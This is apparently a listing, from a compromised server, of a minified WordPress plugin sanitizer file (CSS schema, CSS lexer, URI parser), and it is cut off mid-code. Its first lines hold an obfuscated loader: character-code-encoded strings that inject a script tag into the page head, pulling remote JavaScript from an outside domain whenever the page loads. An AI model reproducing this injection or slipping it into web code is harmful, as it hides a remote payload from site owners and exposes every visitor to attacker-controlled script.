| Current File : /home/:/elitechc.bak/public_html/wp-content/plugins/updraftcentral/js/caja/sanitizer.min.js |
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();var lexCss,decodeCss,window={},CSS_PROP_BIT_QUANTITY=1,CSS_PROP_BIT_HASH_VALUE=2,CSS_PROP_BIT_NEGATIVE_QUANTITY=4,CSS_PROP_BIT_QSTRING=8,CSS_PROP_BIT_URL=16,CSS_PROP_BIT_HISTORY_INSENSITIVE=32,CSS_PROP_BIT_UNRESERVED_WORD=64,CSS_PROP_BIT_UNICODE_RANGE=128,CSS_PROP_BIT_ALLOWED_IN_LINK=256,CSS_PROP_BIT_GLOBAL_NAME=512,CSS_PROP_BIT_PROPERTY_NAME=1024,cssSchema=function(){var e=[["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgreen","lightgrey","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],["all-scroll","col-resize","crosshair","default","e-resize","hand","help","move","n-resize","ne-resize","no-drop","not-allowed","nw-resize","pointer","progress","row-resize","s-resize","se-resize","sw-resize","text","vertical-text","w-resize","wait"],["armenian","decimal","decimal-leading-zero","disc","georgian","lower-alpha","lower-greek","lower-latin","lower-roman","square","upper-alpha","upper-latin","upper-roman"],["100","200","300","400","500","600","700","800","900","bold","bolder","lighter"],["block-level","inline-level","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group"],["condensed","expanded","extra-condensed","extra-expanded","narrower","semi-condensed","semi-expanded","ultra-condensed","ultra-expanded","wider"],["inherit","inline","inline-block","inline-box","inline-flex","inline-grid","inline-list-item","inline-stack","inline-table","run-in"],["behind","center-left","center-right","far-left","far-right","left-side","leftwards","right-side","rightwards"],["large","larger","small","smaller","x-large","x-small","xx-large","xx-small"],["dashed","dotted","double","groove","outset","ridge","solid"],["ease","ease-in","ease-in-out","ease-out","linear","step-end","step-start"],["at","closest-corner","closest-side","ellipse","farthest-corner","farthest-side"],["baseline","middle","sub","super","text-bottom","text-top"],["caption","icon","menu","message-box","small-caption","status-bar"],["fast","faster","slow","slower","x-fast","x-slow"],["above","below","higher","level","lower"],["cursive","fantasy","monospace","sans-serif","serif"],["loud","silent","soft","x-loud","x-soft"],["no-repeat","repeat-x","repeat-y","round","space"],["blink","line-through","overline","underline"],["block","flex","grid","table"],["high","low","x-high","x-low"],["nowrap","pre","pre-line","pre-wrap"],["absolute","relative","static"],["alternate","alternate-reverse","reverse"],["border-box","content-box","padding-box"],["capitalize","lowercase","uppercase"],["child","female","male"],["=","opacity"],["backwards","forwards"],["bidi-override","embed"],["bottom","top"],["break-all","keep-all"],["clip","ellipsis"],["contain","cover"],["continuous","digits"],["end","start"],["flat","preserve-3d"],["hide","show"],["inside","outside"],["italic","oblique"],["left","right"],["ltr","rtl"],["no-content","no-display"],["paused","running"],["suppress","unrestricted"],["thick","thin"],[","],["/"],["all"],["always"],["auto"],["avoid"],["both"],["break-word"],["center"],["circle"],["code"],["collapse"],["contents"],["fixed"],["hidden"],["infinite"],["inset"],["invert"],["justify"],["list-item"],["local"],["medium"],["mix"],["none"],["normal"],["once"],["repeat"],["scroll"],["separate"],["small-caps"],["spell-out"],["to"],["transparent"],["visible"]],t={animation:{cssPropBits:517,cssLitGroup:[e[10],e[24],e[29],e[44],e[47],e[53],e[62],e[70],e[71]],cssFns:["cubic-bezier()","steps()"]},"animation-delay":{cssPropBits:5,cssLitGroup:[e[47]],cssFns:[]},"animation-direction":{cssPropBits:0,cssLitGroup:[e[24],e[47],e[71]],cssFns:[]},"animation-duration":"animation-delay","animation-fill-mode":{cssPropBits:0,cssLitGroup:[e[29],e[47],e[53],e[70]],cssFns:[]},"animation-iteration-count":{cssPropBits:5,cssLitGroup:[e[47],e[62]],cssFns:[]},"animation-name":{cssPropBits:512,cssLitGroup:[e[47],e[70]],cssFns:[]},"animation-play-state":{cssPropBits:0,cssLitGroup:[e[44],e[47]],cssFns:[]},"animation-timing-function":{cssPropBits:0,cssLitGroup:[e[10],e[47]],cssFns:["cubic-bezier()","steps()"]},azimuth:{cssPropBits:5,cssLitGroup:[e[7],e[41],e[55]],cssFns:[]},"backface-visibility":{cssPropBits:0,cssLitGroup:[e[58],e[61],e[80]],cssFns:[]},background:{cssPropBits:23,cssLitGroup:[e[0],e[18],e[25],e[31],e[34],e[41],e[47],e[48],e[51],e[55],e[60],e[67],e[70],e[73],e[74],e[79]],cssFns:["image()","linear-gradient()","radial-gradient()","repeating-linear-gradient()","repeating-radial-gradient()","rgb()","rgba()"]},"background-attachment":{cssPropBits:0,cssLitGroup:[e[47],e[60],e[67],e[74]],cssFns:[]},"background-color":{cssPropBits:258,cssLitGroup:[e[0],e[79]],cssFns:["rgb()","rgba()"]},"background-image":{cssPropBits:16,cssLitGroup:[e[47],e[70]],cssFns:["image()","linear-gradient()","radial-gradient()","repeating-linear-gradient()","repeating-radial-gradient()"]},"background-position":{cssPropBits:5,cssLitGroup:[e[31],e[41],e[47],e[55]],cssFns:[]},"background-repeat":{cssPropBits:0,cssLitGroup:[e[18],e[47],e[73]],cssFns:[]},border:{cssPropBits:7,cssLitGroup:[e[0],e[9],e[46],e[61],e[63],e[68],e[70],e[79]],cssFns:["rgb()","rgba()"]},"border-bottom":"border","border-bottom-color":{cssPropBits:2,cssLitGroup:[e[0],e[79]],cssFns:["rgb()","rgba()"]},"border-bottom-left-radius":{cssPropBits:5,cssFns:[]},"border-bottom-right-radius":"border-bottom-left-radius","border-bottom-style":{cssPropBits:0,cssLitGroup:[e[9],e[61],e[63],e[70]],cssFns:[]},"border-bottom-width":{cssPropBits:5,cssLitGroup:[e[46],e[68]],cssFns:[]},"border-collapse":{cssPropBits:0,cssLitGroup:[e[58],e[75]],cssFns:[]},"border-color":"border-bottom-color","border-left":"border","border-left-color":"border-bottom-color","border-left-style":"border-bottom-style","border-left-width":"border-bottom-width","border-radius":{cssPropBits:5,cssLitGroup:[e[48]],cssFns:[]},"border-right":"border","border-right-color":"border-bottom-color","border-right-style":"border-bottom-style","border-right-width":"border-bottom-width","border-spacing":"border-bottom-left-radius","border-style":"border-bottom-style","border-top":"border","border-top-color":"border-bottom-color","border-top-left-radius":"border-bottom-left-radius","border-top-right-radius":"border-bottom-left-radius","border-top-style":"border-bottom-style","border-top-width":"border-bottom-width","border-width":"border-bottom-width",bottom:{cssPropBits:5,cssLitGroup:[e[51]],cssFns:[]},box:{cssPropBits:0,cssLitGroup:[e[59],e[70],e[71]],cssFns:[]},"box-shadow":{cssPropBits:7,cssLitGroup:[e[0],e[47],e[63],e[70]],cssFns:["rgb()","rgba()"]},"box-sizing":{cssPropBits:0,cssLitGroup:[e[25]],cssFns:[]},"caption-side":{cssPropBits:0,cssLitGroup:[e[31]],cssFns:[]},clear:{cssPropBits:0,cssLitGroup:[e[41],e[53],e[70]],cssFns:[]},clip:{cssPropBits:0,cssLitGroup:[e[51]],cssFns:["rect()"]},color:{cssPropBits:258,cssLitGroup:[e[0]],cssFns:["rgb()","rgba()"]},content:{cssPropBits:8,cssLitGroup:[e[70],e[71]],cssFns:[]},cue:{cssPropBits:16,cssLitGroup:[e[70]],cssFns:[]},"cue-after":"cue","cue-before":"cue",cursor:{cssPropBits:272,cssLitGroup:[e[1],e[47],e[51]],cssFns:[]},direction:{cssPropBits:0,cssLitGroup:[e[42]],cssFns:[]},display:{cssPropBits:32,cssLitGroup:[e[4],e[6],e[20],e[51],e[66],e[70]],cssFns:[]},"display-extras":{cssPropBits:0,cssLitGroup:[e[66],e[70]],cssFns:[]},"display-inside":{cssPropBits:0,cssLitGroup:[e[20],e[51]],cssFns:[]},"display-outside":{cssPropBits:0,cssLitGroup:[e[4],e[70]],cssFns:[]},elevation:{cssPropBits:5,cssLitGroup:[e[15]],cssFns:[]},"empty-cells":{cssPropBits:0,cssLitGroup:[e[38]],cssFns:[]},filter:{cssPropBits:32,cssFns:["alpha()"]},float:{cssPropBits:32,cssLitGroup:[e[41],e[70]],cssFns:[]},font:{cssPropBits:73,cssLitGroup:[e[3],e[8],e[13],e[16],e[40],e[47],e[48],e[68],e[71],e[76]],cssFns:[]},"font-family":{cssPropBits:72,cssLitGroup:[e[16],e[47]],cssFns:[]},"font-size":{cssPropBits:1,cssLitGroup:[e[8],e[68]],cssFns:[]},"font-stretch":{cssPropBits:0,cssLitGroup:[e[5],e[71]],cssFns:[]},"font-style":{cssPropBits:0,cssLitGroup:[e[40],e[71]],cssFns:[]},"font-variant":{cssPropBits:0,cssLitGroup:[e[71],e[76]],cssFns:[]},"font-weight":{cssPropBits:0,cssLitGroup:[e[3],e[71]],cssFns:[]},height:{cssPropBits:37,cssLitGroup:[e[51]],cssFns:[]},left:"height","letter-spacing":{cssPropBits:5,cssLitGroup:[e[71]],cssFns:[]},"line-height":{cssPropBits:1,cssLitGroup:[e[71]],cssFns:[]},"list-style":{cssPropBits:16,cssLitGroup:[e[2],e[39],e[56],e[70]],cssFns:["image()","linear-gradient()","radial-gradient()","repeating-linear-gradient()","repeating-radial-gradient()"]},"list-style-image":{cssPropBits:16,cssLitGroup:[e[70]],cssFns:["image()","linear-gradient()","radial-gradient()","repeating-linear-gradient()","repeating-radial-gradient()"]},"list-style-position":{cssPropBits:0,cssLitGroup:[e[39]],cssFns:[]},"list-style-type":{cssPropBits:0,cssLitGroup:[e[2],e[56],e[70]],cssFns:[]},margin:"bottom","margin-bottom":"bottom","margin-left":"bottom","margin-right":"bottom","margin-top":"bottom","max-height":{cssPropBits:1,cssLitGroup:[e[51],e[70]],cssFns:[]},"max-width":"max-height","min-height":{cssPropBits:1,cssLitGroup:[e[51]],cssFns:[]},"min-width":"min-height",opacity:{cssPropBits:33,cssFns:[]},outline:{cssPropBits:7,cssLitGroup:[e[0],e[9],e[46],e[61],e[63],e[64],e[68],e[70]],cssFns:["rgb()","rgba()"]},"outline-color":{cssPropBits:2,cssLitGroup:[e[0],e[64]],cssFns:["rgb()","rgba()"]},"outline-style":"border-bottom-style","outline-width":"border-bottom-width",overflow:{cssPropBits:32,cssLitGroup:[e[51],e[61],e[74],e[80]],cssFns:[]},"overflow-wrap":{cssPropBits:0,cssLitGroup:[e[54],e[71]],cssFns:[]},"overflow-x":{cssPropBits:0,cssLitGroup:[e[43],e[51],e[61],e[74],e[80]],cssFns:[]},"overflow-y":"overflow-x",padding:{cssPropBits:1,cssFns:[]},"padding-bottom":"opacity","padding-left":"opacity","padding-right":"opacity","padding-top":"opacity","page-break-after":{cssPropBits:0,cssLitGroup:[e[41],e[50],e[51],e[52]],cssFns:[]},"page-break-before":"page-break-after","page-break-inside":{cssPropBits:0,cssLitGroup:[e[51],e[52]],cssFns:[]},pause:"border-bottom-left-radius","pause-after":"border-bottom-left-radius","pause-before":"border-bottom-left-radius",perspective:{cssPropBits:5,cssLitGroup:[e[70]],cssFns:[]},"perspective-origin":{cssPropBits:5,cssLitGroup:[e[31],e[41],e[55]],cssFns:[]},pitch:{cssPropBits:5,cssLitGroup:[e[21],e[68]],cssFns:[]},"pitch-range":"border-bottom-left-radius","play-during":{cssPropBits:16,cssLitGroup:[e[51],e[69],e[70],e[73]],cssFns:[]},position:{cssPropBits:32,cssLitGroup:[e[23]],cssFns:[]},quotes:{cssPropBits:8,cssLitGroup:[e[70]],cssFns:[]},richness:"border-bottom-left-radius",right:"height",speak:{cssPropBits:0,cssLitGroup:[e[70],e[71],e[77]],cssFns:[]},"speak-header":{cssPropBits:0,cssLitGroup:[e[50],e[72]],cssFns:[]},"speak-numeral":{cssPropBits:0,cssLitGroup:[e[35]],cssFns:[]},"speak-punctuation":{cssPropBits:0,cssLitGroup:[e[57],e[70]],cssFns:[]},"speech-rate":{cssPropBits:5,cssLitGroup:[e[14],e[68]],cssFns:[]},stress:"border-bottom-left-radius","table-layout":{cssPropBits:0,cssLitGroup:[e[51],e[60]],cssFns:[]},"text-align":{cssPropBits:0,cssLitGroup:[e[41],e[55],e[65]],cssFns:[]},"text-decoration":{cssPropBits:0,cssLitGroup:[e[19],e[70]],cssFns:[]},"text-indent":"border-bottom-left-radius","text-overflow":{cssPropBits:0,cssLitGroup:[e[33]],cssFns:[]},"text-shadow":"box-shadow","text-transform":{cssPropBits:0,cssLitGroup:[e[26],e[70]],cssFns:[]},"text-wrap":{cssPropBits:0,cssLitGroup:[e[45],e[70],e[71]],cssFns:[]},top:"height",transform:{cssPropBits:0,cssLitGroup:[e[70]],cssFns:["matrix()","perspective()","rotate()","rotate3d()","rotatex()","rotatey()","rotatez()","scale()","scale3d()","scalex()","scaley()","scalez()","skew()","skewx()","skewy()","translate()","translate3d()","translatex()","translatey()","translatez()"]},"transform-origin":"perspective-origin","transform-style":{cssPropBits:0,cssLitGroup:[e[37]],cssFns:[]},transition:{cssPropBits:1029,cssLitGroup:[e[10],e[47],e[49],e[70]],cssFns:["cubic-bezier()","steps()"]},"transition-delay":"animation-delay","transition-duration":"animation-delay","transition-property":{cssPropBits:1024,cssLitGroup:[e[47],e[49]],cssFns:[]},"transition-timing-function":"animation-timing-function","unicode-bidi":{cssPropBits:0,cssLitGroup:[e[30],e[71]],cssFns:[]},"vertical-align":{cssPropBits:5,cssLitGroup:[e[12],e[31]],cssFns:[]},visibility:{cssPropBits:32,cssLitGroup:[e[58],e[61],e[80]],cssFns:[]},"voice-family":{cssPropBits:8,cssLitGroup:[e[27],e[47]],cssFns:[]},volume:{cssPropBits:1,cssLitGroup:[e[17],e[68]],cssFns:[]},"white-space":{cssPropBits:0,cssLitGroup:[e[22],e[71]],cssFns:[]},width:{cssPropBits:33,cssLitGroup:[e[51]],cssFns:[]},"word-break":{cssPropBits:0,cssLitGroup:[e[32],e[71]],cssFns:[]},"word-spacing":"letter-spacing","word-wrap":"overflow-wrap","z-index":"bottom",zoom:"line-height","cubic-bezier()":"animation-delay","steps()":{cssPropBits:5,cssLitGroup:[e[36],e[47]],cssFns:[]},"image()":{cssPropBits:18,cssLitGroup:[e[0],e[47]],cssFns:["rgb()","rgba()"]},"linear-gradient()":{cssPropBits:7,cssLitGroup:[e[0],e[31],e[41],e[47],e[78]],cssFns:["rgb()","rgba()"]},"radial-gradient()":{cssPropBits:7,cssLitGroup:[e[0],e[11],e[31],e[41],e[47],e[55],e[56]],cssFns:["rgb()","rgba()"]},"repeating-linear-gradient()":"linear-gradient()","repeating-radial-gradient()":"radial-gradient()","rgb()":{cssPropBits:1,cssLitGroup:[e[47]],cssFns:[]},"rgba()":"rgb()","rect()":{cssPropBits:5,cssLitGroup:[e[47],e[51]],cssFns:[]},"alpha()":{cssPropBits:1,cssLitGroup:[e[28]],cssFns:[]},"matrix()":"animation-delay","perspective()":"border-bottom-left-radius","rotate()":"border-bottom-left-radius","rotate3d()":"animation-delay","rotatex()":"border-bottom-left-radius","rotatey()":"border-bottom-left-radius","rotatez()":"border-bottom-left-radius","scale()":"animation-delay","scale3d()":"animation-delay","scalex()":"border-bottom-left-radius","scaley()":"border-bottom-left-radius","scalez()":"border-bottom-left-radius","skew()":"animation-delay","skewx()":"border-bottom-left-radius","skewy()":"border-bottom-left-radius","translate()":"animation-delay","translate3d()":"animation-delay","translatex()":"border-bottom-left-radius","translatey()":"border-bottom-left-radius","translatez()":"border-bottom-left-radius"};for(var r in 1,t)"string"==typeof t[r]&&Object.hasOwnProperty.call(t,r)&&(t[r]=t[t[r]]);return t}();void 0!==window&&(window.cssSchema=cssSchema),function(){function t(e){var t=parseInt(e.substring(1),16);return 65535<t?(t-=65536,String.fromCharCode(55296+(t>>10),56320+(1023&t))):t==t?String.fromCharCode(t):e[1]<" "?"":e[1]}function c(e,t){return'"'+e.replace(/[\u0000-\u001f\\\"<>]/g,t)+'"'}function u(e){return r[e]||(r[e]="\\"+e.charCodeAt(0).toString(16)+" ")}function p(e){return s[e]||(s[e]=(e<""?"%0":"%")+e.charCodeAt(0).toString(16))}var r={"\\":"\\\\"},s={"\\":"%5c"},e="[\\t\\n\\f ]",a=e+"*",n="[\\ud800-\\udbff][\\udc00-\\udfff]",o="[\\u0080-\\ud7ff\\ue000-\\ufffd]|"+n,i="[0-9a-fA-F]{1,6}"+e+"?",l="(?:"+i+"|[\\u0020-\\u007e\\u0080-\\ud7ff\\ue000\\ufffd]|"+n+")",d="\\\\"+l,m="[^'\"\\n\\f\\\\]|\\\\[\\s\\S]",h="\"(?:'|"+m+')*"|\'(?:"|'+m+")*'",f="[-+]?(?:[0-9]+(?:[.][0-9]+)?|[.][0-9]+)",g="(?:[a-zA-Z_]|"+o+"|"+d+")",b="(?:[a-zA-Z0-9_-]|"+o+"|"+d+")",L="-?"+g+b+"*",y="\x3c!--",T="--\x3e",E=new RegExp(["\\uFEFF","U[+][0-9A-F?]{1,6}(?:-[0-9A-F]{1,6})?","url[(]"+a+"(?:"+h+"|(?:[\\t\\x21\\x23-\\x26\\x28-\\x5b\\x5d-\\x7e]|[\\u0080-\\ud7ff\\ue000-\\ufffd]|[\\ud800-\\udbff][\\udc00-\\udfff]|\\\\(?:[0-9a-fA-F]{1,6}[\\t\\n\\f ]?|[\\u0020-\\u007e\\u0080-\\ud7ff\\ue000\\ufffd]|[\\ud800-\\udbff][\\udc00-\\udfff]))*)"+a+"[)]","(?!url[(])"+L+"[(]","(?:@?-?"+g+"|#)"+b+"*",h,f+"(?:%|"+L+")?",y,T,e+"+","/(?:[*][^*]*[*]+(?:[^/][^*]*[*]+)*/|/[^\\n\\f]*)","[~|^$*]=","[^\"'\\\\/]|/(?![/*])"].join("|"),"gi"),v=new RegExp("\\\\(?:"+l+"|[\\n\\f])","g"),w=new RegExp("^url\\("+a+"[\"']?|[\"']?"+a+"\\)$","gi");decodeCss=function(e){return e.replace(v,t)},lexCss=function(e){for(var t=(e=""+e).replace(/\r\n?/g,"\n").match(E)||[],r=0,s=" ",a=0,n=t.length;a<n;++a){var o=decodeCss(t[a]),i=o.length,l=o.charCodeAt(0);s==(o=l=='"'.charCodeAt(0)||l=="'".charCodeAt(0)?c(o.substring(1,i-1),u):l=="/".charCodeAt(0)&&1<i||"\\"==o||o==T||o==y||"\ufeff"==o||l<=" ".charCodeAt(0)?" ":/url\(/i.test(o)?"url("+c(o.replace(w,""),p)+")":o)&&" "==o||(t[r++]=s=o)}return t.length=r,t}}(),void 0!==window&&(window.lexCss=lexCss,window.decodeCss=decodeCss);var URI=function(){function r(e){var t=(""+e).match(o);return t?new m(n(t[1]),n(t[2]),n(t[3]),n(t[4]),n(t[5]),n(t[6]),n(t[7])):null}function l(e){return"string"==typeof e?encodeURIComponent(e):null}function c(e,t){return"string"==typeof e?encodeURI(e).replace(t,u):null}function u(e){var t=e.charCodeAt(0);return"%"+"0123456789ABCDEF".charAt(t>>4&15)+"0123456789ABCDEF".charAt(15&t)}var e=new RegExp("(/|^)(?:[^./][^/]*|\\.{2,}(?:[^./][^/]*)|\\.{3,}[^/]*)/\\.\\.(?:/|$)"),a=new RegExp(e),p=/^(?:\.\.\/)*(?:\.\.$)?/;function d(e){if(null===e)return null;for(var t,r=e.replace(/(^|\/)\.(?:\/|$)/g,"$1").replace(/\/{2,}/g,"/"),s=a;(t=r.replace(s,"$1"))!=r;r=t);return r}function s(e,t){var r=e.clone(),s=t.hasScheme();s?r.setRawScheme(t.getRawScheme()):s=t.hasCredentials(),s?r.setRawCredentials(t.getRawCredentials()):s=t.hasDomain(),s?r.setRawDomain(t.getRawDomain()):s=t.hasPort();var a=t.getRawPath(),n=d(a);if(s)r.setPort(t.getPort()),n=n&&n.replace(p,"");else if(s=!!a){if(47!==n.charCodeAt(0)){var o=d(r.getRawPath()||"").replace(p,""),i=o.lastIndexOf("/")+1;n=d((i?o.substring(0,i):"")+d(a)).replace(p,"")}}else(n=n&&n.replace(p,""))!==a&&r.setRawPath(n);return s?r.setRawPath(n):s=t.hasQuery(),s?r.setRawQuery(t.getRawQuery()):s=t.hasFragment(),s&&r.setRawFragment(t.getRawFragment()),r}function m(e,t,r,s,a,n,o){this.scheme_=e,this.credentials_=t,this.domain_=r,this.port_=s,this.path_=a,this.query_=n,this.fragment_=o,this.paramCache_=null}function n(e){return"string"==typeof e&&0<e.length?e:null}m.prototype.toString=function(){var e=[];return null!==this.scheme_&&e.push(this.scheme_,":"),null!==this.domain_&&(e.push("//"),null!==this.credentials_&&e.push(this.credentials_,"@"),e.push(this.domain_),null!==this.port_&&e.push(":",this.port_.toString())),null!==this.path_&&e.push(this.path_),null!==this.query_&&e.push("?",this.query_),null!==this.fragment_&&e.push("#",this.fragment_),e.join("")},m.prototype.clone=function(){return new m(this.scheme_,this.credentials_,this.domain_,this.port_,this.path_,this.query_,this.fragment_)},m.prototype.getScheme=function(){return this.scheme_&&decodeURIComponent(this.scheme_).toLowerCase()},m.prototype.getRawScheme=function(){return this.scheme_},m.prototype.setScheme=function(e){return this.scheme_=c(e,h),this},m.prototype.setRawScheme=function(e){return this.scheme_=e||null,this},m.prototype.hasScheme=function(){return null!==this.scheme_},m.prototype.getCredentials=function(){return this.credentials_&&decodeURIComponent(this.credentials_)},m.prototype.getRawCredentials=function(){return this.credentials_},m.prototype.setCredentials=function(e){return this.credentials_=c(e,h),this},m.prototype.setRawCredentials=function(e){return this.credentials_=e||null,this},m.prototype.hasCredentials=function(){return null!==this.credentials_},m.prototype.getDomain=function(){return this.domain_&&decodeURIComponent(this.domain_)},m.prototype.getRawDomain=function(){return this.domain_},m.prototype.setDomain=function(e){return this.setRawDomain(e&&encodeURIComponent(e))},m.prototype.setRawDomain=function(e){return this.domain_=e||null,this.setRawPath(this.path_)},m.prototype.hasDomain=function(){return null!==this.domain_},m.prototype.getPort=function(){return this.port_&&decodeURIComponent(this.port_)},m.prototype.setPort=function(e){if(e){if((e=Number(e))!==(65535&e))throw new Error("Bad port number "+e);this.port_=""+e}else this.port_=null;return this},m.prototype.hasPort=function(){return null!==this.port_},m.prototype.getPath=function(){return this.path_&&decodeURIComponent(this.path_)},m.prototype.getRawPath=function(){return this.path_},m.prototype.setPath=function(e){return this.setRawPath(c(e,f))},m.prototype.setRawPath=function(e){return e?(e=String(e),this.path_=!this.domain_||/^\//.test(e)?e:"/"+e):this.path_=null,this},m.prototype.hasPath=function(){return null!==this.path_},m.prototype.getQuery=function(){return this.query_&&decodeURIComponent(this.query_).replace(/\+/g," ")},m.prototype.getRawQuery=function(){return this.query_},m.prototype.setQuery=function(e){return this.paramCache_=null,this.query_=l(e),this},m.prototype.setRawQuery=function(e){return this.paramCache_=null,this.query_=e||null,this},m.prototype.hasQuery=function(){return null!==this.query_},m.prototype.setAllParameters=function(e){if("object"==typeof e&&!(e instanceof Array)&&(e instanceof Object||"[object Array]"!==Object.prototype.toString.call(e))){var t=[],r=-1;for(var s in e){"string"==typeof(i=e[s])&&(t[++r]=s,t[++r]=i)}e=t}this.paramCache_=null;for(var a=[],n="",o=0;o<e.length;){s=e[o++];var i=e[o++];a.push(n,encodeURIComponent(s.toString())),n="&",i&&a.push("=",encodeURIComponent(i.toString()))}return this.query_=a.join(""),this},m.prototype.checkParameterCache_=function(){if(!this.paramCache_){var e=this.query_;if(e){for(var t=e.split(/[&\?]/),r=[],s=-1,a=0;a<t.length;++a){var n=t[a].match(/^([^=]*)(?:=(.*))?$/);r[++s]=decodeURIComponent(n[1]).replace(/\+/g," "),r[++s]=decodeURIComponent(n[2]||"").replace(/\+/g," ")}this.paramCache_=r}else this.paramCache_=[]}},m.prototype.setParameterValues=function(e,t){"string"==typeof t&&(t=[t]),this.checkParameterCache_();for(var r=0,s=this.paramCache_,a=[],n=0;n<s.length;n+=2)e===s[n]?r<t.length&&a.push(e,t[r++]):a.push(s[n],s[n+1]);for(;r<t.length;)a.push(e,t[r++]);return this.setAllParameters(a),this},m.prototype.removeParameter=function(e){return this.setParameterValues(e,[])},m.prototype.getAllParameters=function(){return this.checkParameterCache_(),this.paramCache_.slice(0,this.paramCache_.length)},m.prototype.getParameterValues=function(e){this.checkParameterCache_();for(var t=[],r=0;r<this.paramCache_.length;r+=2)e===this.paramCache_[r]&&t.push(this.paramCache_[r+1]);return t},m.prototype.getParameterMap=function(e){this.checkParameterCache_();for(var t={},r=0;r<this.paramCache_.length;r+=2){var s=this.paramCache_[r++],a=this.paramCache_[r++];s in t?t[s].push(a):t[s]=[a]}return t},m.prototype.getParameterValue=function(e){this.checkParameterCache_();for(var t=0;t<this.paramCache_.length;t+=2)if(e===this.paramCache_[t])return this.paramCache_[t+1];return null},m.prototype.getFragment=function(){return this.fragment_&&decodeURIComponent(this.fragment_)},m.prototype.getRawFragment=function(){return this.fragment_},m.prototype.setFragment=function(e){return this.fragment_=e?encodeURIComponent(e):null,this},m.prototype.setRawFragment=function(e){return this.fragment_=e||null,this},m.prototype.hasFragment=function(){return null!==this.fragment_};var o=new RegExp("^(?:([^:/?#]+):)?(?://(?:([^/?#]*)@)?([^/?#:@]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$"),h=/[#\/\?@]/g,f=/[\#\?]/g;return m.parse=r,m.create=function(e,t,r,s,a,n,o){var i=new m(c(e,h),c(t,h),l(r),0<s?s.toString():null,c(a,f),null,l(o));return n&&("string"==typeof n?i.setRawQuery(n.replace(/[^?&=0-9A-Za-z_\-~.%]/g,u)):i.setAllParameters(n)),i},m.resolve=s,m.collapse_dots=d,m.utils={mimeTypeOf:function(e){var t=r(e);return/\.html$/.test(t.getPath())?"text/html":"application/javascript"},resolve:function(e,t){return e?s(r(e),r(t)).toString():""+t}},m}();void 0!==window&&(window.URI=URI);var parseCssStylesheet,parseCssDeclarations,sanitizeCssProperty=void 0,sanitizeCssSelectors=void 0,sanitizeStylesheet=void 0,sanitizeStylesheetWithExternals=void 0,sanitizeMediaQuery=void 0;if(!function(){var v='url("about:blank")',t=/[\n\f\r\"\'()*<>]/g,r={"\n":"%0a","\f":"%0c","\r":"%0d",'"':"%22","'":"%27","(":"%28",")":"%29","*":"%2a","<":"%3c",">":"%3e"};function w(e){return"string"==typeof e?'url("'+e.replace(t,s)+'")':v}function s(e){return r[e]}var P,a=new RegExp("^(?:([^:/?# ]+):)?"),n=/^(?:https?|mailto)$/i;function _(e,t){return e?URI.utils.resolve(e,t):t}function S(e,t,r){if(!r)return null;var s=(""+e).match(a);return!s||s[1]&&!n.test(s[1])?null:r(e,t)}function C(e){return e.replace(/^-(?:apple|css|epub|khtml|moz|mso?|o|rim|wap|webkit|xv)-(?=[a-z])/,"")}function M(e){for(var t={},r=e.length;0<=--r;)for(var s=e[r],a=s.length;0<=--a;)t[s[a]]=P;return t}P={},sanitizeCssProperty=function d(e,t,m,h,r){var s=C(e),f=cssSchema[s];if(f&&"object"==typeof f){for(var a=f.cssPropBits,n=a&(CSS_PROP_BIT_URL|CSS_PROP_BIT_UNRESERVED_WORD),o=a&(CSS_PROP_BIT_GLOBAL_NAME|CSS_PROP_BIT_PROPERTY_NAME),i=NaN,l=0,c=0;l<t.length;++l){var u,p,g,b,L,y=t[l].toLowerCase(),T=y.charCodeAt(0);(y=T===" 